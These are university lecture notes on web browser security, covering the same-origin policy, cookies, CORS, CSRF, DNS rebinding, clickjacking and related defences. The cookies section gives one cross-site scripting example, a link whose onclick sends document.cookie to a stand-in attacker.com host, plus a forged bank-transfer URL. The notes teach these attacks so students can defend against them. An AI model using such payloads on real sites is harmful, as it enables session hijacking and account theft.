Class 18 
CS 480-008
5 April 2016

On the board
------------

1. Last time
2. Web security
   [last time] Intro
   Background, threat model, setting
   SOP
   Details
       Browser windows
       DOM nodes
       HTTP cookies
       HTTP responses
       Network addresses
       Pixels on the screen
    Other complications

---------------------------------------------------------------------------

1. Last time

    --public key crypto, continued

    --beginning of Web security

2. Web security

    A. [last time] Intro
 
    B. Background, threat model, setting

    What is the Web, really?
    
        In the old days, it was like in lab1: a simple client/server
        architecture (client was your web browser, server was a machine
        on the network that could deliver static text and images to your
        browser).

        The web has changed: now the browser is very complicated.

          --JavaScript: Allows a page to execute client-side code.

          --DOM model: Provides a JavaScript interface to the page's
          HTML, allowing the page to add/remove tags, change their
          styling, etc.

          --Cookies: storage in browser, used for e.g. user
          authentication

          --XMLHttpRequests (AJAX): Asynchronous HTTP requests.

          --Web sockets: Full-duplex client-server communication
           over TCP.

          --Web workers: Multi-threading support.

          --Multimedia support: <video>, web cams, screen-sharing.

          --Geolocation: Browser can determine your location by examining GPS
           units. Firefox can also locate you by passing your WiFi information to the
           Google Location Service.

          --<canvas> and WebGL: Bitmap manipulation and interactive 2D/3D graphics.

          --NaCl: browser can even run native code supplied by others!

    We will focus on the browser for this unit. Goal is isolation among
    sites within browser.

    Threat model / assumptions (are they reasonable?)

        Attacker controls his/her own web site, attacker.com.
            --Inevitable, with some other domain name.
        Attacker's web site is loaded in your browser.
            --Advertisements, links, emailed links, etc.
        Attacker cannot intercept/inject packets into the network.
            --Network security (SSL, TLS, etc.) addresses that 
        Browser/server doesn't have implementation bugs (e.g., buffer overflows).
            --We've tried to address server bugs. Browser is inevitably
            part of the TCB (Trusted Computing Base). Research has
            studied how to shrink it.

    Web applications often contain several types of content from
    multiple principals. As an example:
            http://foo.com/index.html

      +--------------------------------------------+
      |  +--------------------------------------+  |
      |  |        ad.gif from ads.com           |  |
      |  +--------------------------------------+  |
      |  +-----------------+ +------------------+  |
      |  | Analytics .js   | | jQuery.js from   |  |
      |  | from google.com | | from cdn.foo.com |  |
      |  +-----------------+ +------------------+  |
      |                                            |
      |        HTML (text inputs, buttons)         |
      |                                            |
      |  +--------------------------------------+  |
      |  | Inline .js from foo.com (defines     |  |
      |  | event handlers for HTML GUI inputs)  |  |
      |  +--------------------------------------+  |
      |+------------------------------------------+|
      || frame: https://facebook.com/likeThis.html||
      ||                                          ||
      || +----------------------+ +--------------+||
      || | Inline .js from      | | f.jpg from https://
      || | https://facebook.com | | facebook.com |||
      || +----------------------+ +--------------+||
      ||                                          ||
      |+------------------------------------------+|
      |                                            |

    Question: Which pieces of JavaScript code can access which pieces of state?
    For example . . .
        *Can the analytics code from google.com access state in the jQuery code
         from cdn.foo.com? [Seems maybe bad since different principals wrote the
         code, but they are included in the same frame . . .]
        *Can  the  jQuery code  from  cdn.foo.com  access  state in  the  inline
         JavaScript code  defined by  foo.com? [They're  *almost* from  the same
         place . . .]
        *Can the analytics code or jQuery access the HTML text inputs? [We've
         got to make that content interactive somehow.]
        *Can JavaScript in the Facebook frame touch any state in the foo.com
         frame?  Does it matter that the Facebook frame is https://, but the
         foo.com frame is regular http://?


    Browsers answer these questions with the SOP. But in order to
    understand the SOP, we need a few more concepts.

    Document object model

      Browser parses page, and represents it as a tree of objects, with
      which JavaCcript interacts

        HTML elements -> DOM nodes organized in a tree.

        DOM nodes show up in JavaScript as objects

        Global objects (window, document, XMLHttpRequest) also allow operations.

        HTML elements / DOM nodes can invoke JavaScript, via event handlers.

        JS can issue HTTP requests, either by using XMLHttpRequest or by
        creating DOM nodes.

        You will learn much more about Javascript in lab 5.


    Isolation challenges

      The actor in a web browser is a document loaded in a window.
        Moral equivalent in Unix: a program running in a process.
        Most interesting is an HTML document, but can have others (e.g., PDF).

      What can a document "do"?
        Link to other pages; user might click on a link: <a href="someurl">
        Include image files, style sheet files, etc: <img src="someurl">
        Load another document in a frame: <iframe src="someurl">
        Run Javascript code in the web browser: <script>.. code ..</script>
        Include Javascript code by URL: <script src="someurl">

      A document running Javascript code can perform many more operations.
        Access parts of the document for the current page.
        Access other windows and frames, and their documents.
        Navigate existing windows, frames.
        Open new windows, frames.
        Send requests over the network.
        ...

    
    C. Same Origin Policy

      -Vague goal: Two different websites should not be able to tamper with each
       other's content.

      -Easy to state, but tricky to implement.

         *Obviously bad: If I have two different web sites open, the
         first site should not be able to overwrite the visual display
         of the second site, or reads its content (e.g., read
         confidential data)

         *Obviously good: Developers should be able to create mash-up sites that
          combine content from mutually cooperative web sites.
            -Ex: A site that combines Google Map data with real estate data.
            -Ex: Advertistements.
            -Ex: Social media widgets (e.g., the Facebook "like" button).

         *Hard to say: If a page from web server X downloads a
         JavaScript library from a different server Y, what capabilities
         should that script have?


    
    --Basic isolation strategy of same-origin policy:
       The browser assigns an _origin_ to every resource in a page
         including JavaScript libraries.
       JavaScript code can only access resources that belong to its origin.

    
   --Definition of an origin: scheme + hostname + port
   
     For example:
         http://foo.com/index.html      (http, foo.com, 80 [implicit])
         https://foo.com/index.html     (https, foo.com, 443 [implicit])
         http://bar.com:8181/index.html (http, bar.com, 8181)
     Schemes can be http, https, ftp, file, etc.
 
    --Four main ideas in SOP:

      (1) Each origin is associated with client-side resources (e.g.,
      cookies, DOM storage, a JavaScript namespace, a DOM tree, windows,
      a visual display area, network addresses).

         * An origin is like a UID in the Unix world.

      (2) Each frame gets the origin of its URL

         * A frame is like a process in Unix.

      (3) Scripts included by a frame execute with the authority of that
      HTML file's origin. This is true for both inline scripts *and*
      ones that are pulled from external domains! 
      
         * Unix analogy: if you run a binary that's stored in somebody
           else's home directory, it runs with your privileges

      (4) Passive content (e.g., images and CSS) can't execute code, so
      this content is given zero authority.

    --Returning to the example:
     *The Google analytics script and the jQuery script can access all the resources
      belonging to foo.com (e.g., they can read and write cookies, attach event
      handlers to buttons, manipulate the DOM tree, access JavaScript variables,
      etc.).
     *JavaScript code in the Facebook frame has no access to resources in the
      foo.com frame, because the two frames have different origins. The two frames
      can only talk via postMessage(), a JavaScript API that allows domains to
      exchange immutable strings.
        -If the two frames *were* in the same origin, they could use window.parent
         and window.frames[] to directly interact with each other's JavaScript
         state!
     *JavaScript code in the Facebook frame cannot issue an XMLHttpRequest to
      foo.com's server [the network is a resource with an origin!] . . .
     *. . . however, the Facebook frame *can* import scripts, CSS, or images from
      foo.com (although that content can only update the Facebook frame, since the
      content inherits the authority of the Facebook origin, not foo.com origin).
     *The browser checks the type of ad.gif, determines that ad.gif is a image, and
      concludes that the image should receive no authority at all.


    D. Details

    What are some of the resources that matter in a web browser?
      --Browser windows. 
      --DOM nodes.
      --HTTP cookies.
      --HTTP responses.
      --Network addresses (what machines can you talk to over the network).
      --Pixels on the screen (in part for UI security).
    Let's take a deeper look at how the browser secures various resources.

    Frame/window objects
      -[Note: A frame object is a DOM node of type HTMLIFrameElement, whereas the
       window object is the alias for the global JavaScript namespace.  Both objects
       have references to each other.]
      -Get the origin of their frame's URLs
               -OR-
       Get the origin of the adjusted document.domain
        *A frame's document.domain is the origin of the frame's URL
        *A frame can set document.domain to be a suffix of the full domain. Ex:
                 x.y.z.com             //Original value
                 y.z.com               //Allowable new value
                 z.com                 //Allowable new value
                 a.y.z.com             //Disallowed
                 .com                  //Disallowed
        *Why allow adjustment?
         Frame from payment.example.com may want to talk to a frame from login.example.com
        *Browsers distinguish between a document.domain that has been written, and
         one that has not, even if both have the same value! Two frames can access
         each other if:
           1) They have both set document.domain to the same value (under
              the allowed rules), or
           2) Neither has changed document.domain, and those values are equal in
              both frames
         These rules help protect a site from being attacked by a buggy/malicious
         subdomain, e.g., x.y.z.com trying to attack y.z.com by shortening its
         own document.domain.

         Unfortunately, as "The Tangled Web" points out, the mechanism
         is not very secure. If x.y.z.com and w.y.z.com each override to
         y.z.com, they can access each other's DOMs, but now so can
         sketchy.y.z.com.
             
    DOM nodes
      -Get the origin of their surrounding frame

    Cookies
     - Ubiquitous mechanism to keep state (e.g., session info) in browser.
       Typically holds user's authentication token: juicy target!
       Cookies predate SOP      
      -A cookie has a domain AND a path. Ex: *.cs.nyu.edu/cs480/
        *Domain can only be a (possibly full) suffix of a page's current domain.
        *Path can be "/" to indicate that all paths in the domain should have access
         to the cookie.
      -Whoever sets cookie gets to specify the domain and path.
        --Can be set by the server using a header, or by JavaScript code that writes
         to document.cookie.
        --There's also a "secure" flag to indicate HTTPS-only cookies.
      -Browser keeps cookies on client-side disk (modulo cookie expiration,
       ephemeral cookies, etc.).
      -When generating an HTTP request, the browser sends all matching cookies in
       the request.
         *Secure cookies only sent for HTTPS requests.

    SOP: JavaScript code can access any cookie that match the code's origin
      *Developer must be careful that the page doesn't include attacker's javascript

        - Risk: cross-site scripting attack (XSS)

          For example: attacker puts a cookie-stealing URL in a post/comment field
        
          <a href="#"
          onclick="window.location='http://attacker.com/stole.cgi?text='+escape(document.cookie);
          return false;">Click here!</a>

          If the user clicks on this link, the attacker has stolen the
          user's cookie for this page. 
          
        -Website developers must filter out such malicious code.

        -More later and in lab 5

     *Note that the cookie's path and the origin's port are ignored!
     *The protocol matters, because HTTP JavaScript cannot access HTTPS cookies
        (although HTTPS JavaScript can access both kinds of cookies).
      
    Why is it important to protect cookies from arbitrary overwriting?
       A: If an attacker controls a cookie, the attacker can force the user to use
       an account that's controlled by an attacker!
        -Ex: By controlling a Gmail cookie, an attacker can redirect a user to an
         attacker controlled account and read any emails that are sent from that
         account.
	     
    Q: Is it valid for foo.co.uk to set a cookie's domain to co.uk?
    A: This is valid according to the suffix rule above, but in practice, we
         should disallow such a thing (otherwise the cookie for
         foo.co.uk is sent to every UK company's Web site).
         Mozilla maintains a public list which allows
         browsers to determine the appropriate suffix rules for top-level domains.
         [https://publicsuffix.org]

    HTTP responses: Many exceptions and half-exceptions to same-origin policy.
      -XMLHttpRequests: By default, JavaScript can only send XMLHttpRequests to its
       origin server . . .  unless the remote server has enabled Cross-origin
       Resource Sharing (CORS). The scheme defines some new HTTP response headers:
         *Access-Control-Allow-Origin specifies which origins can see HTTP response.
         *Access-Control-Allow-Credentials specifies if browser should accept
          cookies in HTTP request from the foreign origin.
      -Images: A frame can load an image from any origin . . . but it can't look at
       the image pixels . . .  but it can determine the image's size.
      -CSS: Similar story to images--a frame can't directly read the content of
       external CSS files, but can infer some of its properties.
      -JavaScript: A frame can load JavaScript from any origin . . . but it can't
       directly examine the source code in a <script> tag/XMLHttpRequest reponse
       body . . . but all JavaScript functions have a public toString() method which
       reveals source code . . . and a page's home server can always fetch the
       source code directly and then pass it to the page!
        *To prevent reverse-engineering, many sites minify and obfuscate their
         JavaScript.
      -Plugins: A frame can run a plugin from any origin.
           <embed src=...> //Requires plugin-specific
                           //elaborations.

    Complication: unfortunate interaction of above JS rule and cookies
     -When the browser generates an HTTP request, it automatically includes the
      relevant cookies.
     -What happens if attacker creates a web page with a frame with an origin URL like:

            http://bank.com/xfer?amount=500&to=attacker

       User visits the page.  Browser will send user's cookie to bank.com.  Server
       thinks it is a valid transfer, and transfers the money.
       
       This attack is called a cross-site request forgery (CSRF).


      -Solution: Server generates some random data in URLs that is difficult for the
       attacker to guess. Ex:
       
            <form action="/transfer.cgi" ...>
                <input type="hidden"
                       name="csrfToken"
                       value="a6dbe323..."/>
		       
       Each time a user requests the page, the server generates HTML with new random
       tokens. When the user submits a request, the server validates the token
       before actually processing the request.
       
      -Drawback: Server must keep state (next time, we will see how this
       state can be attacked)

    Network addresses almost have an origin.
      -A frame can send HTTP *and* HTTPS requests to a host+port that match its origin.
      -Complication: the security of the same-origin policy depends on the integrity
       of the DNS infrastructure!
      -DNS rebinding attack
       *Goal: Attacker wants to run attacker-controlled JavaScript code with the
        authority of an origin, victim.com, that the attacker does not
        control
       *Approach:
        1) Attacker registers a domain name (e.g., attacker.com) and creates a DNS
           server to respond to the relevant queries.
        2) User visits the attacker.com website, e.g., by clicking on an advertisement.
        3) The attacker website wants to download a single object, but first, the
           browser must issue a DNS request for attacker.com.  The attacker's DNS
           server responds with a DNS record to the attacker's IP address.  However,
           the record has a short time-to-live.
        4) The attacker rebinds attacker.com to the IP address of victim.com.
        5) A bit later, the attacker website creates an XMLHttpRequest that connects
           to attacker.com. That request will actually be sent to the IP address of
           victim.com!  The browser won't complain because it will revalidate the
           DNS record and see the new binding.
        6) Attacker page can now exfiltrate data, e.g., using CORS XMLHttpRequest to
           the attacker domain.
       *Solutions
        -Modify DNS resolvers so that external hostnames can never resolve to
         internal IP addreses.
        -Browsers can pin DNS bindings, regardless of their TTL settings. However,
         this may break web applications that use dynamic DNS (e.g., for
         load-balancing).

    What about the pixels on a screen?
      -They don't have an origin! A frame can draw anywhere within its bounding box.
      -Problem: A parent frame can overlay content atop the pixels of its child
       frames.
        *Ex: At attacker creates a page which has an enticing button like "Click
         here for a free iPad!" Atop that button, the page creates a child frame
         that contains the Facebook "Like" button. But the attacker
         makes the Facebook "Like" button transparent! So, if the user
         clicks on the "free iPad" button, the user actually "Like" the attackers page
         on Facebook.
      -Solutions
       1) Frame-busting code: Include JavaScript that prevents your page from being
          included as a frame. Ex: if(top != self)
       2) Have your web server send the X-Frame-Options HTTP response header. This
          will instruct the browser not to put your content in a child frame.

    What about frame URLs that don't have an origin?
      -Ex:     file://foo.txt
               about:blank
               javascript:document.cookie="x"
      -Sometimes the frame is only accessible to other frames with that protocol
       (e.g., file://).

         [This can be irritating if you're debugging a site and you want to mix
          file:// and http:// content].
      -Sometimes the frame is just inaccessible to all other origins (e.g.,
       "about:").
      -Sometimes the origin is inherited from whoever created the URL (e.g.,
       "javascript:"). This prevents attacks in which a attacker.com creates a frame
       belonging to victim.com, and then navigates the victim frame to a javascript:
       URL--we don't want the JavaScript to execute in the context of victim.com!


    E. Other complications

        Names can be used as an attack vector!
          -IDN: internationalized domain names (non-latin letters).
          -Supporting more languages is good, but now, it can be difficult for users to
           distinguish two domain names from each other.
           *Ex: The Cyrillic "C" character looks like the Latin "C" character! So, an
            attacker can buy a domain like "cats.com" (with a Cyrillic "C") and trick
            users who thought that they were going to "cats.com" (Latin "C").
          -Good example of how new features can undermine security assumptions.
           *Browser vendors thought registrars will prohibit ambiguous names.
           *Registrars thought browser vendors will change browser to do something.

        Plugins often have subtly-different security policies
          -Java: Sort of uses the same-origin policy, but Java code can set HTTP headers
           (bad! see "Content-Length" discussion next time), and in some cases, different
           hostnames with the same IP address are considered to share the same origin.
          -Flash: Developers place a file called crossdomain.xml on their web
           servers. That file specifies which origins can talk to the server via Flash.

        HTML5 introduces a new screen-sharing API: Once the user gives permission, a
        site can capture the entire visible screen area and transmit it back to the
        site's origin.
          -So, if an attacker page can convince the user to grant screen-sharing
           permission, the attacker page can open an iframe to a sensitive site (e.g.,
           banking, Facebook, email), and capture the screen contents!
          -The iframe will send cookies, so the user will automatically be logged in,
           allowing the attacker to see "real" information, not boring login page stuff.
          -Attacker can make the iframe flash only briefly to prevent the user from
           noticing the mischief.
          -Possible defenses:
           *Allow users to only screen-share part of the DOM tree? It seems like this
            will be tedious and error-prone.
           *Only allow an origin to screen-capture content from its own origin? Seems
            like a more reasonable approach, although it prevents mash-ups.
          -More discussion: http://www.ieee-security.org/TC/SP2014/papers/AllYourScreensareBelongtoUs_c_AttacksExploitingtheHTML5ScreenSharingAPI.pdf

    F. Discussion

        Since "The Tangled Web," there have been various modifications and additions to
        the aggregate web stack.
          -In general, things have gotten more complicated,
           which is typically bad for security.
          -For reference, here are some of the new features:
                  http://en.wikipedia.org/wiki/Content_Security_Policy
                  http://en.wikipedia.org/wiki/Strict_Transport_Security
                  http://en.wikipedia.org/wiki/Cross-origin_resource_sharing
                  HTML5 iframe sandbox attribute [http://msdn.microsoft.com/en-us/hh563496.aspx]

        SOP is simple on one hand, but complex on the other hand: it contains a
        lot of subtleties and inconsistencies.
          -Q:  Why not rewrite the security model from scratch?
           A1: Backwards compatibility! There's a huge amount of preexisting web
               infrastructure that people rely on.
           A2: How do we know that a new security model would be expressive enough?
               Users typically do not accept a reduction of features in exchange for an
               increase in security.
           A3: Any security model must evolve


        What might a better design look like?
         * Example 1. Strict isolation. 
            Embassies
                Everything is a network message, even locally
                [https://www.usenix.org/system/files/conference/nsdi13/nsdi13-final85.pdf]
         * Example 2. Confinement of pages
            COWL:
                information flow control in the browser
            https://cseweb.ucsd.edu/~dstefan/pubs/stefan:2014:protecting.pdf
 
         *What ideas should go into an improved design
            Be explicit everywhere: no ambiguity or guessing.
              No suffix rule?
            Clear notion of a principal that's not tied to anything else.
              Don't run foreign JavaScript with the complete authority of the web page?
            Clear plan for what principal is used for every operation.
              No ambient authority 
              Specify what cookie to send on HTTP request?
            Clear plan for what resources are protected, what the access rules are.
              Helps app developers know what they can rely on.
              No exceptions (e.g., no images and JavaScript from outside of origin)
            Make it easy to figure out security-relevant pieces.
              Don't require complex parser (e.g., HTML, HTTP headers) to get policy.
              No inline JavaScript?
            Clear mechanism for web sites to interact (message-passing, change ACLs?).
              No need for guessing, no need for suffix rule

---------------------------------------------------------------------------

Acknowledgments: MIT's 6.858 staff, especially James Mickens